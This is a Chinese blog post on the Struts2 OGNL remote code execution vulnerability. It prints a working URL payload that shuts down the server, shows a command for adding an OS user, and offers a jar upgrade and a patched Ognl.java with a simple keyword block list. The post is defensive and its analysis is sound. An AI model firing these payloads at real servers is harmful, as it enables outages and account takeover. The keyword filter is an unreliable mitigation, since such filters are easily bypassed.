1、原理
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。 www.2cto.com
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭
类似的可以执行
java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)
只要有权限就可以执行任何DOS命令。
2、解决方法
网上很多文章都介绍了三种解决方法,个人觉得将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4
下载到的更新包中有很多jar包,我系统中主要用到以下几个替换掉旧版本的:
commons-lang3-3.1.jar (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar (新加包)
ognl-3.0.5.jar (替换旧版本)
struts2-core-2.3.4.1.jar (替换旧版本)
xwork-core-2.3.4.1.jar (替换旧版本)
Ognl.java 类代码:
package ognl;
import java.io.StringReader;
import java.util.Map;
import ognl.enhance.ExpressionAccessor;
public abstract class Ognl
{
public static Object parseExpression(String expression)
throws OgnlException
{
// 漏洞警示:Struts2远程代码执行漏洞
// 覆盖ognl.jar中的 Ognl.class
// 参考: http://www.cnblogs.com/chinahnzhou/p/struts2_bug_s2-016_s2-017_solution.html
// 参考: http://my-corner.iteye.com/blog/720209
String evalMethod[] = { "Runtime", "ProcessBuilder" ,"new file"};
String methodString = null;
methodString = expression.toLowerCase();
for (int i = 0; i < evalMethod.length; i++) {
if (methodString.indexOf(evalMethod[i].toLowerCase()) > -1) {
return null;
}
}
//end
try
{
OgnlParser parser = new OgnlParser(new StringReader(expression));
return parser.topLevelExpression();
}
catch(ParseException e)
{
throw new ExpressionSyntaxException(expression, e);
}
catch(TokenMgrError e)
{
throw new ExpressionSyntaxException(expression, e);
}
}
public static Node compileExpression(OgnlContext context, Object root, String expression)
throws Exception
{
Node expr = (Node)parseExpression(expression);
OgnlRuntime.compileExpression(context, expr, root);
return expr;
}
public static Map createDefaultContext(Object root)
{
return addDefaultContext(root, null, null, null, new OgnlContext());
}
public static Map createDefaultContext(Object root, ClassResolver classResolver)
{
return addDefaultContext(root, classResolver, null, null, new OgnlContext());
}
public static Map createDefaultContext(Object root, ClassResolver classResolver, TypeConverter converter)
{
return addDefaultContext(root, classResolver, converter, null, new OgnlContext());
}
public static Map createDefaultContext(Object root, ClassResolver classResolver, TypeConverter converter, MemberAccess memberAccess)
{
return addDefaultContext(root, classResolver, converter, memberAccess, new OgnlContext());
}
public static Map addDefaultContext(Object root, Map context)
{
return addDefaultContext(root, null, null, null, context);
}
public static Map addDefaultContext(Object root, ClassResolver classResolver, Map context)
{
return addDefaultContext(root, classResolver, null, null, context);
}
public static Map addDefaultContext(Object root, ClassResolver classResolver, TypeConverter converter, Map context)
{
return addDefaultContext(root, classResolver, converter, null, context);
}
public static Map addDefaultContext(Object root, ClassResolver classResolver, TypeConverter converter, MemberAccess memberAccess, Map context)
{
OgnlContext result;
if(!(context instanceof OgnlContext))
{
result = new OgnlContext();
result.setValues(context);
} else
{
result = (OgnlContext)context;
}
if(classResolver != null)
result.setClassResolver(classResolver);
if(converter != null)
result.setTypeConverter(converter);
if(memberAccess != null)
result.setMemberAccess(memberAccess);
result.setRoot(root);
return result;
}
public static void setClassResolver(Map context, ClassResolver classResolver)
{
context.put("_classResolver", classResolver);
}
public static ClassResolver getClassResolver(Map context)
{
return (ClassResolver)context.get("_classResolver");
}
public static void setTypeConverter(Map context, TypeConverter converter)
{
context.put("_typeConverter", converter);
}
public static TypeConverter getTypeConverter(Map context)
{
return (TypeConverter)context.get("_typeConverter");
}
public static void setMemberAccess(Map context, MemberAccess memberAccess)
{
context.put("_memberAccess", memberAccess);
}
public static MemberAccess getMemberAccess(Map context)
{
return (MemberAccess)context.get("_memberAccess");
}
public static void setRoot(Map context, Object root)
{
context.put("root", root);
}
public static Object getRoot(Map context)
{
return context.get("root");
}
public static Evaluation getLastEvaluation(Map context)
{
return (Evaluation)context.get("_lastEvaluation");
}
public static Object getValue(Object tree, Map context, Object root)
throws OgnlException
{
return getValue(tree, context, root, null);
}
public static Object getValue(Object tree, Map context, Object root, Class resultType)
throws OgnlException
{
OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
Node node = (Node)tree;
Object result;
if(node.getAccessor() != null)
result = node.getAccessor().get(ognlContext, root);
else
result = node.getValue(ognlContext, root);
if(resultType != null)
result = getTypeConverter(context).convertValue(context, root, null, null, result, resultType);
return result;
}
public static Object getValue(ExpressionAccessor expression, OgnlContext context, Object root)
{
return expression.get(context, root);
}
public static Object getValue(ExpressionAccessor expression, OgnlContext context, Object root, Class resultType)
{
return getTypeConverter(context).convertValue(context, root, null, null, expression.get(context, root), resultType);
}
public static Object getValue(String expression, Map context, Object root)
throws OgnlException
{
return getValue(expression, context, root, null);
}
public static Object getValue(String expression, Map context, Object root, Class resultType)
throws OgnlException
{
return getValue(parseExpression(expression), context, root, resultType);
}
public static Object getValue(Object tree, Object root)
throws OgnlException
{
return getValue(tree, root, ((Class) (null)));
}
public static Object getValue(Object tree, Object root, Class resultType)
throws OgnlException
{
return getValue(tree, createDefaultContext(root), root, resultType);
}
public static Object getValue(String expression, Object root)
throws OgnlException
{
return getValue(expression, root, ((Class) (null)));
}
public static Object getValue(String expression, Object root, Class resultType)
throws OgnlException
{
return getValue(parseExpression(expression), root, resultType);
}
public static void setValue(Object tree, Map context, Object root, Object value)
throws OgnlException
{
OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
Node n = (Node)tree;
if(n.getAccessor() != null)
{
n.getAccessor().set(ognlContext, root, value);
return;
} else
{
n.setValue(ognlContext, root, value);
return;
}
}
public static void setValue(ExpressionAccessor expression, OgnlContext context, Object root, Object value)
{
expression.set(context, root, value);
}
public static void setValue(String expression, Map context, Object root, Object value)
throws OgnlException
{
setValue(parseExpression(expression), context, root, value);
}
public static void setValue(Object tree, Object root, Object value)
throws OgnlException
{
setValue(tree, createDefaultContext(root), root, value);
}
public static void setValue(String expression, Object root, Object value)
throws OgnlException
{
setValue(parseExpression(expression), root, value);
}
public static boolean isConstant(Object tree, Map context)
throws OgnlException
{
return ((SimpleNode)tree).isConstant((OgnlContext)addDefaultContext(null, context));
}
public static boolean isConstant(String expression, Map context)
throws OgnlException
{
return isConstant(parseExpression(expression), context);
}
public static boolean isConstant(Object tree)
throws OgnlException
{
return isConstant(tree, createDefaultContext(null));
}
public static boolean isConstant(String expression)
throws OgnlException
{
return isConstant(parseExpression(expression), createDefaultContext(null));
}
public static boolean isSimpleProperty(Object tree, Map context)
throws OgnlException
{
return ((SimpleNode)tree).isSimpleProperty((OgnlContext)addDefaultContext(null, context));
}
public static boolean isSimpleProperty(String expression, Map context)
throws OgnlException
{
return isSimpleProperty(parseExpression(expression), context);
}
public static boolean isSimpleProperty(Object tree)
throws OgnlException
{
return isSimpleProperty(tree, createDefaultContext(null));
}
public static boolean isSimpleProperty(String expression)
throws OgnlException
{
return isSimpleProperty(parseExpression(expression), createDefaultContext(null));
}
public static boolean isSimpleNavigationChain(Object tree, Map context)
throws OgnlException
{
return ((SimpleNode)tree).isSimpleNavigationChain((OgnlContext)addDefaultContext(null, context));
}
public static boolean isSimpleNavigationChain(String expression, Map context)
throws OgnlException
{
return isSimpleNavigationChain(parseExpression(expression), context);
}
public static boolean isSimpleNavigationChain(Object tree)
throws OgnlException
{
return isSimpleNavigationChain(tree, createDefaultContext(null));
}
public static boolean isSimpleNavigationChain(String expression)
throws OgnlException
{
return isSimpleNavigationChain(parseExpression(expression), createDefaultContext(null));
}
private Ognl()
{
}
}
相关推荐
Apache Struts2是一款非常...通过深入理解漏洞原理,采取相应的预防措施,可以显著降低被攻击的风险。在压缩包文件中,可能包含了详细的安全分析报告、补丁应用指南以及示例代码,这些都是帮助修复此问题的重要资源。
解决Struts2漏洞通常需要及时更新Struts2框架到最新版本,因为开发者通常会在新版本中修复已知的安全问题。同时,也需要正确配置Struts2的过滤器,限制不安全的OGNL表达式,并且避免在Action配置中使用未验证的用户...
《JBoss与Struts漏洞解决详解》 在信息技术领域,安全问题始终是不容忽视的关键环节。本文主要针对两个常见的漏洞——JBoss漏洞和Struts漏洞,详述其情况、影响以及解决方案,旨在帮助用户理解漏洞的危害并采取有效...
1. **更新Struts2版本**:确保使用的是最新且修补了该漏洞的Struts2版本。Apache通常会在发现严重安全问题后发布补丁或新版本,及时更新可以避免大部分已知问题。 2. **配置ParameterInterceptor**:在Struts2的配置...
##### 1.2 漏洞原理 该漏洞的产生主要源于Struts 2 中的Jakarta Multipart解析器在处理文件上传时,未能正确处理客户端发送的`Content-Type`头字段。具体来说,当用户上传文件时,Struts 2 会根据`Content-Type`...
Struts2是一个非常著名的Java Web开发框架,它基于Model-View-Controller(MVC)设计模式,极大地简化了Java ...同时,了解和掌握Struts2的核心组件及工作原理,对于提升开发效率和保障应用安全都有着极其重要的意义。
### Struts2工作原理 #### 一、Struts2简介 Struts2是Apache软件基金会的一个开源项目,它是Struts1的下一代版本,基于WebWork框架,并融合了Struts1的一些特性,形成了一个新的MVC(Model-View-Controller)框架...
- **解析过程:** 真正进行解析的类是`org.apache.struts2.multipart.DefaultFileUploadServlet`,其中包含了解析方法。 - **异常触发:** 当解析文件时遇到非法的`content-type`时,会抛出异常。 - **异常处理:** ...
总的来说,"Struts2 技术内幕——深入解析Struts2架构设计"这本书将带你深入理解Struts2的工作原理,包括其架构设计、核心组件、配置方式、数据绑定、异常处理以及安全性等方面。通过对这些知识点的掌握,开发者能够...
Struts2是一个强大的Java web开发框架,它基于MVC(Model-View-Controller)设计模式,为开发者提供了构建可维护性高、结构清晰的Web应用的解决方案。在本项目总结中,我们将深入探讨Struts2的核心特性、工作原理...
历史上,Struts2曾曝出过一些安全漏洞,如著名的CVE-2017-5638漏洞,这导致了许多大型企业系统的安全风险。因此,PPT可能涵盖了如何避免这些安全问题,以及如何及时更新和应用安全补丁。 最后,Struts2与其他框架...
Struts2历史上曾出现过一些严重的安全漏洞,如著名的S2-005和S2-045,这些漏洞可能导致远程代码执行。开发者需要及时更新Struts2的版本,应用安全补丁,并遵循最佳实践,例如限制对Action的访问、使用参数化查询防止...
6. 安全问题:Struts2存在一些已知的安全漏洞,如S2-005和S2-045,应及时更新Struts2版本以修复这些漏洞。 通过对Struts2源码的深入研究,开发者不仅可以理解框架的工作原理,还能针对具体需求进行定制化开发,提高...
本《Struts2权威指南》结合了源码分析,旨在帮助读者深入理解Struts2的工作原理以及如何在实际项目中有效利用它。 首先,Struts2的核心功能包括动作映射、结果类型、拦截器等。动作映射允许开发者将URL请求与特定的...
通过研究Struts2的源代码,开发者可以深入理解其工作原理,从而更好地利用框架特性,优化应用性能,并能快速定位和解决问题。同时,参与开源社区的交流,能够获取最新的技术资讯,提升个人技术水平。
这个压缩包包含的是OGNL的2版本的源代码,这对于理解Struts2框架的工作原理以及OGNL语言的实现细节非常有帮助。 OGNL的主要功能是提供一种简洁的方式来获取和设置对象的属性,甚至可以处理复杂的对象图。例如,你...
这本书《Struts2技术内幕:深入解析Struts架构设计与实现原理》详细地探讨了Struts2的核心机制和工作原理,旨在帮助读者深入理解并熟练运用这个框架。 1. **Struts2架构**:Struts2框架的核心架构基于拦截器...
然而,历史上Struts2曾出现过严重的安全漏洞,如CVE-2017-5638,因此,及时更新Struts2版本和正确配置是保证应用安全的关键。 《Struts2权威指南》这本书深入探讨了Struts2的各个方面,包括基础概念、实战技巧、...
然而,Struts2也存在一些潜在的安全问题,如著名的STRUTS2-2017漏洞,这要求开发者定期更新框架版本,以确保应用的安全性。 总的来说,“struts2_jar”压缩包为开发者提供了构建Struts2应用所需的全部组件,使得...
- Struts2框架曾曝出过安全漏洞,如S2-016、S2-045等,因此及时更新框架版本至关重要。 - 注意防止XSS、CSRF等Web攻击,使用框架提供的安全拦截器或自行编写防护代码。 6. **扩展性与兼容性** - Struts2与其他...